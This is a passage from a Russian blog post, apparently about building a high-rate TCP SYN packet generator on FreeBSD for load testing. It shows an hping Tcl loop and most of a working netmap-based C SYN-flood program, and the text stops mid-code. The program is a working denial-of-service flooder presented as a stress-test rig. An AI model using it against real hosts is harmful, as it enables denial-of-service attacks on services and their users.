{"id":183692,"date":"2013-06-18T12:07:03","date_gmt":"2013-06-18T08:07:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=183692"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=183692","title":{"rendered":"TCP(syn-flood)-netmap-generator \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e 1,5 mpps<\/span>"},"content":{"rendered":"
\t\t\t\u0414\u0430\u043d\u043e:<\/b> <\/p>\n
# pciconf -lv | grep -i device | grep -i network     device     = I350 Gigabit Network Connection # dmesg | grep CPU:     CPU: Intel(R) Core(TM)2 Duo CPU     E7300  @ 2.66GHz (2666.69-MHz K8-class CPU) # uname -orp     FreeBSD 9.1-RELEASE amd64 <\/code><\/pre>\n
  \u0417\u0430\u0434\u0430\u0447\u0430: <\/b>
  \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0438 \u041e\u0421 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u0447\u043d\u0443\u044e \u0432\u0438\u043b\u043a\u0443 \u0432 \u0432\u0438\u0434\u0435 tcp(syn)-\u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 500kpps.<\/p>\n
  \u0420\u0435\u0448\u0435\u043d\u0438\u0435:<\/b>
  <\/a>
  \u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u0442\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c hping<\/a>.
  \u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 tcl. \u041f\u0438\u0448\u0435\u043c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n
while {1} {   hping send "ip(saddr=10.0.0.1,daddr=10.0.0.2)+tcp(sport=14000,dport=80,flags=s)"   } <\/code><\/pre>\n
  \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c:  <\/p>\n
# hping exec .\/synflood1.htcl <\/code><\/pre>\n
  \u0421\u043c\u043e\u0442\u0440\u0438\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c:  <\/p>\n
# netstat -w1 -I igb0             input         (igb0)           output    packets  errs idrops      bytes    packets  errs      bytes colls      21384     0     0    1283040      21582     0    1165428     0      21264     0     0    1275840      21464     0    1159056     0      21361     0     0    1281660      21559     0    1164186     0 <\/code><\/pre>\n
  \u0417\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0435 10 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u0441\u043c\u043e\u0433\u043b\u0438 \u00ab\u0440\u0430\u0441\u043a\u0430\u0447\u0430\u0442\u044c\u00bb \u0434\u043e 55kpps, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0431\u0430 \u044f\u0434\u0440\u0430 \u0431\u044b\u043b\u0438 \u0443\u0442\u0438\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u044b.  <\/p>\n
# top -PSCH last pid:  1691;  load averages: 10.02,  6.83,  3.32                        up 0+00:59:11  12:31:18 125 processes: 13 running, 86 sleeping, 26 waiting CPU 0: 77.2% user,  0.0% nice, 17.1% system,  5.7% interrupt,  0.0% idle CPU 1: 76.4% user,  0.0% nice, 10.6% system, 13.0% interrupt,  0.0% idle <\/code><\/pre>\n
  \u0422\u044e\u043d\u0438\u043d\u0433 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b \u0435\u0449\u0451 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0442\u044c \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0440\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u043d\u043e \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0435 \u0446\u0438\u0444\u0440\u044b \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u0430 ~125kpps.<\/p>\n
  \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c. \u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u0438\u0438 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a netmap<\/a> \u043e\u0442 Luigi Rizzo \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0430\u0444\u0438\u0448\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0432 \u043e\u0431\u0437\u043e\u0440\u0430\u0445 9-\u043a\u0438, \u043d\u043e \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0435\u0433\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0440\u0443\u043d\u0435\u0442\u0435 \u044f \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b. 
  \u0414\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0440\u0430\u0442\u044c \u044f\u0434\u0440\u043e \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c:  <\/p>\n
device netmap <\/code><\/pre>\n
  \u0417\u0430 \u043e\u0441\u043d\u043e\u0432\u0443 \u0432\u0437\u044f\u0442 \u043a\u043e\u0434 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u0432 \u043e\u0442 \u0441\u0430\u043c\u043e\u0433\u043e \u0430\u0432\u0442\u043e\u0440\u0430 \u0441 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0432 \u043e\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f tcp-\u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0439, \u0431\u0435\u0437 \u043a\u0443\u043f\u044e\u0440.  <\/p>\n
tcp-gen.c<\/b><\/p>\n
\n
\/*  * \u041f\u0440\u0438\u043c\u0435\u0440 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u0442\u043e\u0447\u043d\u043e\u0433\u043e  * tcp-\u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 netmap  *\/  const char *default_payload = \t"netmap pkt-gen Luigi Rizzo and Matteo Landi\\n" "http:\/\/info.iet.unipi.it\/~luigi\/netmap\/ ";  #include <pthread.h>\t\/* pthread_* *\/ #include <pthread_np.h>\t\/* pthread w\/ affinity *\/ #include <stdlib.h> #include <stdio.h> #include <inttypes.h>\t\/* PRI* macros *\/ #include <string.h>\t\/* strcmp *\/ #include <fcntl.h>\t\/* open *\/ #include <unistd.h>\t\/* close *\/ #include <ifaddrs.h>\t\/* getifaddrs *\/  #include <sys\/mman.h>\t\/* PROT_* *\/ #include <sys\/ioctl.h>\t\/* ioctl *\/ #include <sys\/poll.h> #include <arpa\/inet.h>\t\/* ntohs *\/ #include <sys\/sysctl.h>\t\/* sysctl *\/  #include <net\/ethernet.h> #include <net\/if.h>\t\/* ifreq *\/ #include <net\/if_dl.h>\t\/* LLADDR *\/  #include <netinet\/in.h> #include <netinet\/ip.h> #include <netinet\/tcp.h>  #include <net\/netmap.h> #include <net\/netmap_user.h>  static inline int min(int a, int b) { \treturn a < b ? a : b; }  \/* debug support *\/ #define D(format, ...)\t\t\t\t\\ \tfprintf(stderr, "%s [%d] " format "\\n", \t\\ \t__FUNCTION__, __LINE__, ##__VA_ARGS__)  #ifndef EXPERIMENTAL #define EXPERIMENTAL 0 #endif  #define MAX_QUEUES 64\t\/* no need to limit *\/  #define SKIP_PAYLOAD 1 \/* do not check payload. *\/  inline void prefetch(const void *x) { \t__asm volatile("prefetcht0 %0" :: "m"(*(const unsigned long *)x)); }  \/*  * sum_w()  *  * Do the one's complement sum thing over a range of words  * Ideally, this should get replaced by an assembly version.  *\/  static u_int32_t \t\/* static inline u_int32_t *\/ \tsum_w(u_int16_t *buf, int nwords) { \tregister u_int32_t sum = 0;  \twhile (nwords >= 16) { \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tsum += (u_int16_t) ntohs(*buf++); \t\tnwords -= 16; \t} \twhile (nwords--) \t\tsum += (u_int16_t) ntohs(*buf++); \treturn (sum); }  int tcp_csum(struct ip *ip, struct tcphdr * const tcp) { \t\/\/ struct tcphdr\t*const tcp = (struct tcphdr *) ((long *) ip + ip->ip_hl); \tu_int32_t sum; \tint tcp_len;  \t\/* Calculate total length of the TCP segment *\/  \ttcp_len = (u_int16_t) ntohs(ip->ip_len) - (ip->ip_hl << 2);  \t\/* Do pseudo-header first *\/  \tsum = sum_w((u_int16_t*)&ip->ip_src, 4);  \tsum += (u_int16_t) IPPROTO_TCP; \tsum += (u_int16_t) tcp_len;  \t\/* Sum up tcp part *\/  \tsum += sum_w((u_int16_t*) tcp, tcp_len >> 1); \tif (tcp_len & 1) \t\tsum += (u_int16_t)(((u_char *) tcp)[tcp_len - 1] << 8);  \t\/* Flip it & stick it *\/  \tsum = (sum >> 16) + (sum & 0xFFFF); \tsum += (sum >> 16); \tsum = ~sum;  \ttcp->th_sum = htons(sum);  \treturn tcp->th_sum; }  \/\/ XXX only for multiples of 32 bytes, non overlapped. static inline void pkt_copy(void *_src, void *_dst, int l) { \tuint64_t *src = _src; \tuint64_t *dst = _dst; #define likely(x)       __builtin_expect(!!(x), 1) #define unlikely(x)       __builtin_expect(!!(x), 0) \tif (unlikely(l >= 1024)) { \t\tbcopy(src, dst, l); \t\treturn; \t} \tfor (; l > 0; l -= 64) { \t\t*dst++ = *src++; \t\t*dst++ = *src++; \t\t*dst++ = *src++; \t\t*dst++ = *src++; \t\t*dst++ = *src++; \t\t*dst++ = *src++; \t\t*dst++ = *src++; \t\t*dst++ = *src++; \t} }  struct pkt { \tstruct ether_header eh; \tstruct ip ip;  \tstruct tcphdr tcp;  \tuint8_t body[2048]; \/\/ XXX hardwired } __attribute__((__packed__));  \/*  * global arguments for all threads  *\/ struct glob_arg { \tconst char *src_ip; \tconst char *dst_ip; \tconst char *src_mac; \tconst char *dst_mac; \tint pkt_size; \tint burst; \tint nthreads; \tint cpus; };  struct mystat { \tuint64_t containers[8]; };  \/*  * Arguments for a new thread. The same structure is used by  * the source and the sink  *\/ struct targ { \tstruct glob_arg *g; \tint used; \tint completed; \tint fd; \tstruct nmreq nmr; \tstruct netmap_if *nifp; \tuint16_t qfirst, qlast; \/* range of queues to scan *\/ \tuint64_t count; \tstruct timeval tic, toc; \tint me; \tpthread_t thread; \tint affinity;  \tuint8_t dst_mac[6]; \tuint8_t src_mac[6]; \tu_int dst_mac_range; \tu_int src_mac_range; \tuint32_t dst_ip; \tuint32_t src_ip; \tu_int dst_ip_range; \tu_int src_ip_range;  \tstruct pkt pkt; };  static struct targ *targs; static int global_nthreads;  \/* control-C handler *\/ static void sigint_h(__unused int sig) { \tfor (int i = 0; i < global_nthreads; i++) { \t\t\/* cancel active threads. *\/ \t\tif (targs[i].used == 0) \t\t\tcontinue;  \t\tD("Cancelling thread #%d\\n", i); \t\tpthread_cancel(targs[i].thread); \t\ttargs[i].used = 0; \t}  \tsignal(SIGINT, SIG_DFL); }  \/* sysctl wrapper to return the number of active CPUs *\/ static int system_ncpus(void) { \tint mib[2], ncpus; \tsize_t len;  \tmib[0] = CTL_HW; \tmib[1] = HW_NCPU; \tlen = sizeof(mib); \tsysctl(mib, 2, &ncpus, &len, NULL, 0);  \treturn (ncpus); }  \/*  * locate the src mac address for our interface, put it  * into the user-supplied buffer. return 0 if ok, -1 on error.  *\/ static int source_hwaddr(const char *ifname, char *buf) { \tstruct ifaddrs *ifaphead, *ifap; \tint l = sizeof(ifap->ifa_name);  \tif (getifaddrs(&ifaphead) != 0) { \t\tD("getifaddrs %s failed", ifname); \t\treturn (-1); \t}  \tfor (ifap = ifaphead; ifap; ifap = ifap->ifa_next) { \t\tstruct sockaddr_dl *sdl = (struct sockaddr_dl*)ifap->ifa_addr; \t\tuint8_t *mac;  \t\tif (!sdl || sdl->sdl_family != AF_LINK) \t\t\tcontinue; \t\tif (strncmp(ifap->ifa_name, ifname, l) != 0) \t\t\tcontinue; \t\tmac = (uint8_t*)LLADDR(sdl); \t\tsprintf(buf, "%02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1], mac[2], \t\t\tmac[3], mac[4], mac[5]); \t\tbreak; \t} \tfreeifaddrs(ifaphead); \treturn ifap ? 0 : 1; }  \/* set the thread affinity. *\/ static int setaffinity(pthread_t me, int i) { \tcpuset_t cpumask;  \tif (i == -1) \t\treturn 0;  \t\/* Set thread affinity affinity. *\/ \tCPU_ZERO(&cpumask); \tCPU_SET(i, &cpumask);  \tif (pthread_setaffinity_np(me, sizeof(cpuset_t), &cpumask) != 0) { \t\tD("Unable to set affinity"); \t\treturn 1; \t} \treturn 0; }  \/* Compute the checksum of the given ip header. *\/ static uint16_t checksum(const void *data, uint16_t len) { \tconst uint8_t *addr = data; \tuint32_t sum = 0;  \twhile (len > 1) { \t\tsum += addr[0] * 256 + addr[1]; \t\taddr += 2; \t\tlen -= 2; \t}  \tif (len == 1) \t\tsum += *addr * 256;  \tsum = (sum >> 16) + (sum & 0xffff); \tsum += (sum >> 16);  \tsum = htons(sum);  \treturn ~sum; }  \/*  * Fill a packet with some payload.  *\/ static void initialize_packet(struct targ *targ) { \tstruct pkt *pkt = &targ->pkt; \tstruct ether_header *eh; \tstruct ip *ip; \tstruct tcphdr *tcp; \t\/\/ uint16_t paylen = targ->g->pkt_size - sizeof(*eh) - sizeof(*ip); \tuint16_t paylen = targ->g->pkt_size -sizeof(*eh)-sizeof(*ip); \tint i, l, l0 = strlen(default_payload); \tchar *p;  \tfor (i = 0; i < paylen;) { \t\tl = min(l0, paylen - i); \t\tbcopy(default_payload, pkt->body + i, l); \t\ti += l; \t} \tpkt->body[i - 1] = '\\0';  \ttcp = &pkt->tcp;  \ttcp->th_sport = htons(14000); \/\/ Contains the source port. \ttcp->th_dport = htons(80); \/\/ Contains the destination port. \ttcp->th_seq = ntohl(rand()); \/\/ Contains the sequence number. \ttcp->th_ack = rand(); \/\/ Contains the acknowledgement number. \ttcp->th_x2 = 0; \/\/ Unused. \ttcp->th_off = 5; \/\/ Contains the data offset.  \ttcp->th_flags = TH_SYN; \/\/ Contains one of the following values: \t\/* \t Flag \tValue \tDescription \t TH_FIN \t0x01\tIndicates that the transmission is finishing. \t TH_SYN\t0x02\tIndicates that sequence numbers are being synchronized. \t TH_RST\t0x04\tIndicates that the connection is being reset. \t TH_PUSH\t0x08\tIndicataes that data is being pushed to the application level. \t TH_ACK\t0x10\tIndicates that the acknowledge field is valid. \t TH_URG\t0x20\tIndicates that urgent data is present. \t *\/ \ttcp->th_win = htons(512); \/\/ Contains the window size. \t\/\/ tcp->th_sum = 0; \t\t\/\/ Contains the checksum. \ttcp->th_urp = 0; \/\/ Contains the urgent pointer.  \tip = &pkt->ip; \tip->ip_v = 4; \tip->ip_hl = 5; \tip->ip_id = 0; \tip->ip_tos = IPTOS_LOWDELAY; \tip->ip_len = ntohs(sizeof(struct ip)+sizeof(struct tcphdr)); \tip->ip_off = htons(IP_DF); \/* Don't fragment *\/ \tip->ip_ttl = IPDEFTTL; \t\/\/ ip->ip_ttl = 255; \tip->ip_p = IPPROTO_TCP; \tinet_aton(targ->g->src_ip, (struct in_addr *)&ip->ip_src); \tinet_aton(targ->g->dst_ip, (struct in_addr *)&ip->ip_dst); \ttarg->dst_ip = ip->ip_dst.s_addr; \ttarg->src_ip = ip->ip_src.s_addr; \tp = index(targ->g->src_ip, '-'); \tif (p) { \t\ttarg->dst_ip_range = atoi(p + 1); \t\tD("dst-ip sweep %d addresses", targ->dst_ip_range); \t} \tip->ip_sum = checksum(ip, sizeof(*ip)); \ttcp->th_sum = tcp_csum(ip, tcp);  \teh = &pkt->eh; \tbcopy(ether_aton(targ->g->src_mac), targ->src_mac, 6); \tbcopy(targ->src_mac, eh->ether_shost, 6); \tp = index(targ->g->src_mac, '-'); \tif (p) \t\ttarg->src_mac_range = atoi(p + 1);  \tbcopy(ether_aton(targ->g->dst_mac), targ->dst_mac, 6); \tbcopy(targ->dst_mac, eh->ether_dhost, 6); \tp = index(targ->g->dst_mac, '-'); \tif (p) \t\ttarg->dst_mac_range = atoi(p + 1); \teh->ether_type = htons(ETHERTYPE_IP);  }  \/*  * create and enqueue a batch of packets on a ring.  * On the last one set NS_REPORT to tell the driver to generate  * an interrupt when done.  *\/ static int send_packets(struct netmap_ring *ring, struct pkt *pkt, int size, \tu_int count) { \tu_int sent, cur = ring->cur;  \tif (ring->avail < count) \t\tcount = ring->avail;  \tfor (sent = 0; sent < count; sent++) { \t\tstruct netmap_slot *slot = &ring->slot[cur]; \t\tchar *p = NETMAP_BUF(ring, slot->buf_idx);  \t\tpkt_copy(pkt, p, size);  \t\tslot->len = size; \t\tif (sent == count - 1) \t\t\tslot->flags |= NS_REPORT; \t\tcur = NETMAP_RING_NEXT(ring, cur); \t} \tring->avail -= sent; \tring->cur = cur;  \treturn (sent); }  static void * sender_body(void *data) { \tstruct targ *targ = (struct targ*) data; \tstruct pollfd fds[1]; \tstruct netmap_if *nifp = targ->nifp; \tstruct netmap_ring *txring; \tint i, sent = 0; \tD("start"); \tif (setaffinity(targ->thread, targ->affinity)) \t\tgoto quit; \t\/* setup poll(2) mechanism. *\/ \tmemset(fds, 0, sizeof(fds)); \tfds[0].fd = targ->fd; \tfds[0].events = (POLLOUT);  \t\/* main loop. *\/ \tgettimeofday(&targ->tic, NULL); { \t\twhile (1) { \t\t\t\/* \t\t\t * wait for available room in the send queue(s) \t\t\t *\/ \t\t\tif (poll(fds, 1, 2000) <= 0) { \t\t\t\tD("poll error\/timeout on queue %d\\n", targ->me); \t\t\t\tgoto quit; \t\t\t} \t\t\t\/* \t\t\t * scan our queues and send on those with room \t\t\t *\/ \t\t\tfor (i = targ->qfirst; i < targ->qlast; i++) { \t\t\t\t\/\/ int m, limit = targ->g->burst; \t\t\t\tint m, limit = 512;  \t\t\t\ttxring = NETMAP_TXRING(nifp, i); \t\t\t\tif (txring->avail == 0) \t\t\t\t\tcontinue;  \t\t\t\tm = send_packets(txring, &targ->pkt, targ->g->pkt_size, limit); \t\t\t\tsent += m; \t\t\t\ttarg->count = sent; \t\t\t} \t\t} \t\t\/* flush any remaining packets *\/ \t\tioctl(fds[0].fd, NIOCTXSYNC, NULL);  \t\t\/* final part: wait all the TX queues to be empty. *\/ \t\tfor (i = targ->qfirst; i < targ->qlast; i++) {  \t\t\ttxring = NETMAP_TXRING(nifp, i); \t\t\twhile (!NETMAP_TX_RING_EMPTY(txring)) { \t\t\t\tioctl(fds[0].fd, NIOCTXSYNC, NULL); \t\t\t\tusleep(1); \/* wait 1 tick *\/ \t\t\t} \t\t} \t}  \tgettimeofday(&targ->toc, NULL); \ttarg->completed = 1; \ttarg->count = sent;  quit: \t\/* reset the ``used`` flag. *\/ \ttarg->used = 0;  \treturn (NULL); }  static void usage(void) { \tconst char *cmd = "pkt-gen"; \tfprintf(stderr, \t\t"Usage:\\n" "%s arguments\\n" "\\t-i interface\t\tinterface name\\n" \t\t"\\t-l pkts_size\t\tin bytes excluding CRC\\n" "\\t-d dst-ip\t\tend with %%n to sweep n addresses\\n" \t\t"\\t-s src-ip\t\tend with %%n to sweep n addresses\\n" "\\t-D dst-mac\t\tend with %%n to sweep n addresses\\n" \t\t"\\t-S src-mac\t\tend with %%n to sweep n addresses\\n" "", cmd);  \texit(0); }  int main(int arc, char **argv) { \tint i, fd;  \tstruct glob_arg g;  \tstruct nmreq nmr; \tvoid *mmap_addr; \/* the mmap address *\/ \tvoid *(*td_body)(void *) = sender_body; \tint ch; \tint report_interval = 1000; \/* report interval *\/ \tchar *ifname = NULL; \t\/\/ int wait_link = 2; \tint devqueues = 1; \/* how many device queues *\/  \t\/* initialize random seed: *\/ \tsrand(time(NULL));  \tbzero(&g, sizeof(g));  \tg.src_ip = "10.0.0.1"; \tg.dst_ip = "10.0.0.2"; \tg.dst_mac = "ff:ff:ff:ff:ff:ff"; \t\/\/ g.dst_mac = NULL; \tg.src_mac = NULL; \tg.pkt_size = 60; \tg.burst = 512; \/\/ default \tg.nthreads = 2; \/\/ \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u043c \u0432 2 \u043f\u043e\u0442\u043e\u043a\u0430 \t\/\/ g.cpus = 1; \tg.cpus = system_ncpus(); \/\/ \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u043c \u0432\u0441\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u044b  \twhile ((ch = getopt(arc, argv, "i:l:d:s:D:S:v")) != -1) { \t\tswitch (ch) { \t\tdefault: \t\t\tD("bad option %c %s", ch, optarg); \t\t\tusage(); \t\t\tbreak; \t\tcase 'i': \/* interface *\/ \t\t\tifname = optarg; \t\t\tbreak; \t\tcase 'l': \/* pkt_size *\/ \t\t\tg.pkt_size = atoi(optarg); \t\t\tbreak; \t\tcase 'd': \t\t\tg.dst_ip = optarg; \t\t\tbreak; \t\tcase 's': \t\t\tg.src_ip = optarg; \t\t\tbreak; \t\tcase 'D': \/* destination mac *\/ \t\t\tg.dst_mac = optarg; \t\t\tstruct ether_addr *mac = ether_aton(g.dst_mac); \t\t\tD("ether_aton(%s) gives %p", g.dst_mac, mac); \t\t\tbreak; \t\tcase 'S': \/* source mac *\/ \t\t\tg.src_mac = optarg; \t\t\tbreak; \t\t} \t}  \tif (ifname == NULL) { \t\tD("missing ifname"); \t\tusage(); \t} { \t\tint n = system_ncpus(); \t\tif (g.cpus < 0 || g.cpus > n) { \t\t\tD("%d cpus is too high, have only %d cpus", g.cpus, n); \t\t\tusage(); \t\t} \t\tif (g.cpus == 0) \t\t\tg.cpus = n; \t} \tif (g.pkt_size < 16 || g.pkt_size > 1536) { \t\tD("bad pktsize %d\\n", g.pkt_size); \t\tusage(); \t}  \tif (td_body == sender_body && g.src_mac == NULL) { \t\tstatic char mybuf[20] = "ff:ff:ff:ff:ff:ff"; \t\t\/* retrieve source mac address. *\/ \t\tif (source_hwaddr(ifname, mybuf) == -1) { \t\t\tD("Unable to retrieve source mac"); \t\t\t\/\/ continue, fail later \t\t} \t\tg.src_mac = mybuf; \t}  \t{ \t\tbzero(&nmr, sizeof(nmr)); \t\tnmr.nr_version = NETMAP_API; \t\t\/* \t\t * Open the netmap device to fetch the number of queues of our \t\t * interface. \t\t * \t\t * The first NIOCREGIF also detaches the card from the \t\t * protocol stack and may cause a reset of the card, \t\t * which in turn may take some time for the PHY to \t\t * reconfigure. \t\t *\/ \t\tfd = open("\/dev\/netmap", O_RDWR); \t\tif (fd == -1) { \t\t\tD("Unable to open \/dev\/netmap"); \t\t\t\/\/ fail later \t\t} \t\telse { \t\t\tif ((ioctl(fd, NIOCGINFO, &nmr)) == -1) { \t\t\t\tD("Unable to get if info without name"); \t\t\t} \t\t\telse { \t\t\t\tD("map size is %d Kb", nmr.nr_memsize >> 10); \t\t\t} \t\t\tbzero(&nmr, sizeof(nmr)); \t\t\tnmr.nr_version = NETMAP_API; \t\t\tstrncpy(nmr.nr_name, ifname, sizeof(nmr.nr_name)); \t\t\tif ((ioctl(fd, NIOCGINFO, &nmr)) == -1) { \t\t\t\tD("Unable to get if info for %s", ifname); \t\t\t} \t\t\tdevqueues = nmr.nr_rx_rings; \t\t}  \t\t\/* validate provided nthreads. *\/ \t\tif (g.nthreads < 1 || g.nthreads > devqueues) { \t\t\tD("bad nthreads %d, have %d queues", g.nthreads, devqueues); \t\t\t\/\/ continue, fail later \t\t}  \t\t\/* \t\t * Map the netmap shared memory: instead of issuing mmap() \t\t * inside the body of the threads, we prefer to keep this \t\t * operation here to simplify the thread logic. \t\t *\/ \t\tD("mmapping %d Kbytes", nmr.nr_memsize >> 10); \t\tmmap_addr = (struct netmap_d*) mmap(0, nmr.nr_memsize, \t\t\tPROT_WRITE | PROT_READ, MAP_SHARED, fd, 0); \t\tif (mmap_addr == MAP_FAILED) { \t\t\tD("Unable to mmap %d KB", nmr.nr_memsize >> 10); \t\t\t\/\/ continue, fail later \t\t}  \t\t\/* \t\t * Register the interface on the netmap device: from now on, \t\t * we can operate on the network interface without any \t\t * interference from the legacy network stack. \t\t * \t\t * We decide to put the first interface registration here to \t\t * give time to cards that take a long time to reset the PHY. \t\t *\/ \t\tnmr.nr_version = NETMAP_API; \t\tif (ioctl(fd, NIOCREGIF, &nmr) == -1) { \t\t\tD("Unable to register interface %s", ifname); \t\t\t\/\/ continue, fail later \t\t}  \t\t\/* Print some debug information. *\/ \t\tfprintf(stdout, "%s %s: %d queues, %d threads and %d cpus.\\n", \t\t\t(td_body == sender_body) ? "Sending on" : "Receiving from", ifname, \t\t\tdevqueues, g.nthreads, g.cpus); \t\tif (td_body == sender_body) { \t\t\tfprintf(stdout, "%s -> %s (%s -> %s)\\n", g.src_ip, g.dst_ip, \t\t\t\tg.src_mac, g.dst_mac); \t\t}  \t\t\/* Exit if something went wrong. *\/ \t\tif (fd < 0) { \t\t\tD("Aborting"); \t\t\tusage(); \t\t} \t}  \t\/\/ "Wait 3 secs for phy reset" \t\/\/ sleep(wait_link); \tsleep(3); \tD("Ready...");  \t\/* Install ^C handler. *\/ \tglobal_nthreads = g.nthreads; \tsignal(SIGINT, sigint_h);  \ttargs = calloc(g.nthreads, sizeof(*targs)); \t\/* \t * Now create the desired number of threads, each one \t * using a single descriptor. \t *\/ \tfor (i = 0; i < g.nthreads; i++) { \t\tstruct netmap_if *tnifp; \t\tstruct nmreq tifreq; \t\tint tfd;  \t\t\/* register interface. *\/ \t\ttfd = open("\/dev\/netmap", O_RDWR); \t\tif (tfd == -1) { \t\t\tD("Unable to open \/dev\/netmap"); \t\t\tcontinue; \t\t}  \t\tbzero(&tifreq, sizeof(tifreq)); \t\tstrncpy(tifreq.nr_name, ifname, sizeof(tifreq.nr_name)); \t\ttifreq.nr_version = NETMAP_API; \t\ttifreq.nr_ringid = (g.nthreads > 1) ? (i | NETMAP_HW_RING) : 0;  \t\tif ((ioctl(tfd, NIOCREGIF, &tifreq)) == -1) { \t\t\tD("Unable to register %s", ifname); \t\t\tcontinue; \t\t} \t\ttnifp = NETMAP_IF(mmap_addr, tifreq.nr_offset);  \t\t\/* start threads. *\/ \t\tbzero(&targs[i], sizeof(targs[i])); \t\ttargs[i].g = &g; \t\ttargs[i].used = 1; \t\ttargs[i].completed = 0; \t\ttargs[i].fd = tfd; \t\ttargs[i].nmr = tifreq; \t\ttargs[i].nifp = tnifp; \t\ttargs[i].qfirst = (g.nthreads > 